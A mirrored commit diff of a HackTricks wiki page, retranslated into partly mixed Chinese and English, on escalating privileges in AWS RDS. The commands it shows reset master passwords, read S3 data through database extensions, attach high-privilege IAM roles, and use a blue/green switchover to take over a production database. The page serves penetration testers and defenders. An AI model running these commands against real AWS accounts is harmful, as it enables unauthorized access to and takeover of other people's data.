mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+51
-31
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS - 关系型数据库服务
|
||||
|
||||
有关 RDS 的更多信息,请参阅:
|
||||
For more information about RDS check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
有了该权限,攻击者可以**修改主用户的密码**以及数据库内的登录:
|
||||
With that permission an attacker can **修改主用户的密码**,以及数据库内的 login:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> 您需要能够**与数据库建立联系**(它们通常仅能从内部网络访问)。
|
||||
> 你需要能够**连接到数据库**(它们通常只能从内部网络访问)。
|
||||
|
||||
**潜在影响:** 在数据库中发现敏感信息。
|
||||
**Potential Impact:** 在数据库中发现敏感信息。
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
根据 [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html),具有此权限的用户可以连接到 DB 实例。
|
||||
|
||||
### Abuse RDS Role IAM permissions
|
||||
### 滥用 RDS 角色 IAM 权限
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> 如果运行 **`SELECT datname FROM pg_database;`** 并发现名为 **`rdsadmin`** 的数据库,就知道你处在 **AWS postgresql database**。
|
||||
> 如果运行 **`SELECT datname FROM pg_database;`** 并发现一个名为 **`rdsadmin`** 的数据库,则说明你在一个 **AWS postgresql 数据库** 内。
|
||||
|
||||
首先你可以检查该数据库是否被用来访问任何其他 AWS 服务。你可以通过查看已安装的扩展来检查:
|
||||
首先你可以检查此数据库是否被用来访问任何其他 AWS 服务。你可以通过查看已安装的扩展来检查:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
如果你发现类似 **`aws_s3`** 的东西,可以假定该数据库对 S3 有某种访问权限(还有其他扩展,如 **`aws_ml`** 和 **`aws_lambda`**)。
|
||||
如果你发现类似 **`aws_s3`** 的东西,就可以认为该数据库对 S3 有某种访问权限(还有其他扩展,例如 **`aws_ml`** 和 **`aws_lambda`**)。
|
||||
|
||||
另外,如果你有权限执行 **`aws rds describe-db-clusters`**,可以在返回中查看 **cluster 是否有任何 IAM Role 附加**,对应字段为 **`AssociatedRoles`**。如果有,可以假定该数据库已被 **配置为访问其他 AWS 服务**。根据 **role 的名称**(或如果你能获取到该 role 的 **权限**)你可以 **推测** 数据库拥有哪些额外的访问权限。
|
||||
另外,如果你有权限运行 **`aws rds describe-db-clusters`**,你可以在那里看到 **集群是否附加了任何 IAM Role**,在字段 **`AssociatedRoles`** 中。如果有,你可以假设该数据库**已被配置为访问其他 AWS 服务**。根据 **role 的名称**(或如果你能获取该 **role 的权限**),你可以**猜测**数据库拥有哪些额外访问权限。
|
||||
|
||||
现在,要 **读取 bucket 内的文件** 你需要知道完整路径。你可以用下面命令读取:
|
||||
现在,要**读取 bucket 内的文件**,你需要知道完整路径。你可以使用以下命令读取:
|
||||
```sql
|
||||
// Create table
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
如果你拥有 **raw AWS credentials**,你也可以使用它们来访问 S3 数据,方法如下:
|
||||
如果你有 **raw AWS credentials**,你也可以使用它们来访问 S3 数据:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
> [!NOTE]
|
||||
> Postgresql **不需要更改任何参数组变量** 即可访问 S3。
|
||||
> Postgresql **不需要更改任何参数组变量** 就能访问 S3。
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> 在 mysql 中,如果执行查询 **`SELECT User, Host FROM mysql.user;`** 并且存在名为 **`rdsadmin`** 的用户,那么可以假定你位于 **AWS RDS mysql db**。
|
||||
> 在 mysql 内,如果运行查询 **`SELECT User, Host FROM mysql.user;`** 并且存在名为 **`rdsadmin`** 的用户,你可以假定自己位于 **AWS RDS mysql db**。
|
||||
|
||||
在 mysql 中运行 **`show variables;`**,如果诸如 **`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** 之类的变量有值,则可以认为数据库已准备好访问 S3 数据。
|
||||
在 mysql 中运行 **`show variables;`**,如果像 **`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** 这样的变量有值,你可以断定数据库已准备好访问 S3 数据。
|
||||
|
||||
另外,如果你有权限运行 **`aws rds describe-db-clusters`**,可以检查集群是否有任何 **associated role**,这通常意味着可以访问 AWS 服务。
|
||||
此外,如果你有权限运行 **`aws rds describe-db-clusters`**,你可以检查集群是否有任何 **关联角色**,这通常意味着可以访问 AWS 服务。
|
||||
|
||||
现在,要 **读取 bucket 内的文件**,你需要知道完整路径。你可以读取它:
|
||||
现在,要在 bucket 内读取文件,你需要知道完整路径。你可以用以下方式读取:
|
||||
```sql
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
|
||||
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
|
||||
```
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
具有 `rds:AddRoleToDBCluster` 和 `iam:PassRole` 权限的攻击者可以 **将指定的角色添加到现有的 RDS 实例**。这可能允许攻击者 **访问敏感数据** 或修改实例中的数据。
|
||||
拥有权限 `rds:AddRoleToDBCluster` 和 `iam:PassRole` 的攻击者可以 **将指定角色添加到现有的 RDS 实例**。这可能允许攻击者 **访问敏感数据** 或 **修改实例中的数据**。
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
**潜在影响**:可能访问敏感数据或对 RDS 实例中的数据进行未授权修改。\
|
||||
请注意,某些 DB 需要额外配置,例如 Mysql,也需要在 aprameter groups 中指定 role ARN。
|
||||
**潜在影响**:访问 RDS 实例中的敏感数据或对数据进行未授权的修改。\
|
||||
注意,某些数据库需要额外配置,例如 Mysql,还需要在 parameter groups 中指定 role ARN。
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
仅凭该权限,攻击者就可以创建一个 **集群内部的新实例**,该集群已经存在并附加了 **IAM role**。他无法更改主用户密码,但可能能够将新的数据库实例暴露到互联网:
|
||||
仅凭此权限,攻击者就可以在已存在且附有 **IAM role** 的集群中创建一个 **新的实例**。他无法更改主用户密码,但可能能够将新的数据库实例暴露到互联网:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
@@ -122,30 +122,50 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
### `rds:CreateDBInstance`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> 待办:测试
|
||||
> 待测试
|
||||
|
||||
拥有 `rds:CreateDBInstance` 和 `iam:PassRole` 权限的攻击者可以 **创建一个带有指定角色的新的 RDS 实例**。攻击者随后可能**访问敏感数据**或修改实例内的数据。
|
||||
具有 `rds:CreateDBInstance` 和 `iam:PassRole` 权限的攻击者可以 **创建带有指定角色的新 RDS 实例**。攻击者随后可能 **访问敏感数据** 或修改实例内的数据。
|
||||
|
||||
> [!WARNING]
|
||||
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - The profile must exist in your account.
|
||||
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
|
||||
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
|
||||
> 一些要附加的 role/instance-profile 的要求 (来自 [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
>
|
||||
> - profile 必须存在于您的账户中。
|
||||
> - profile 必须包含一个 IAM role,且 Amazon EC2 有权限去 assume 该角色。
|
||||
> - instance profile 名称和关联的 IAM role 名称必须以前缀 `AWSRDSCustom` 开头。
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
**潜在影响**: 可访问敏感数据或对 RDS instance 中的数据进行未授权的修改。
|
||||
**潜在影响**: 可能访问敏感数据或对 RDS instance 中的数据进行未授权修改。
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
具有 `rds:AddRoleToDBInstance` 和 `iam:PassRole` 权限的攻击者可以**向现有的 RDS instance 添加指定角色**。这可能允许攻击者**访问敏感数据**或修改实例内的数据。
|
||||
具有 `rds:AddRoleToDBInstance` 和 `iam:PassRole` 权限的攻击者可以**向现有的 RDS instance 添加指定角色**。这可能允许攻击者**访问敏感数据**或修改该实例中的数据。
|
||||
|
||||
> [!WARNING]
|
||||
> 此操作要求 DB instance 必须位于集群外部
|
||||
> DB instance 必须位于集群之外才能执行此操作
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
**潜在影响**: 访问 RDS 实例中的敏感数据或对 RDS 实例中的数据进行未授权的修改。
|
||||
**Potential Impact**: 访问 RDS 实例中的敏感数据或对其中的数据进行未授权的修改。
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
|
||||
|
||||
拥有这些权限的攻击者可以克隆生产数据库(Blue),将具有高权限的 IAM 角色附加到克隆(Green),然后使用切换操作替换生产环境。这样攻击者就可以提升数据库的权限并未经授权地访问其他 AWS 资源。
|
||||
```bash
|
||||
# Create a Green deployment (clone) of the production cluster
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name <name> \
|
||||
--source <production-db-cluster-arn>
|
||||
|
||||
# Attach a high-privilege IAM role to the Green cluster
|
||||
aws rds add-role-to-db-cluster \
|
||||
--db-cluster-identifier <green-cluster-id> \
|
||||
--role-arn <high-privilege-iam-role-arn>
|
||||
|
||||
# Switch the Green environment to Production
|
||||
aws rds switchover-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <deployment-id>
|
||||
```
|
||||
**潜在影响**: 完全接管生产数据库环境。切换后,数据库以提升的权限运行,允许从数据库内部未经授权地访问其他 AWS 服务(例如 S3、Lambda、Secrets Manager)。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user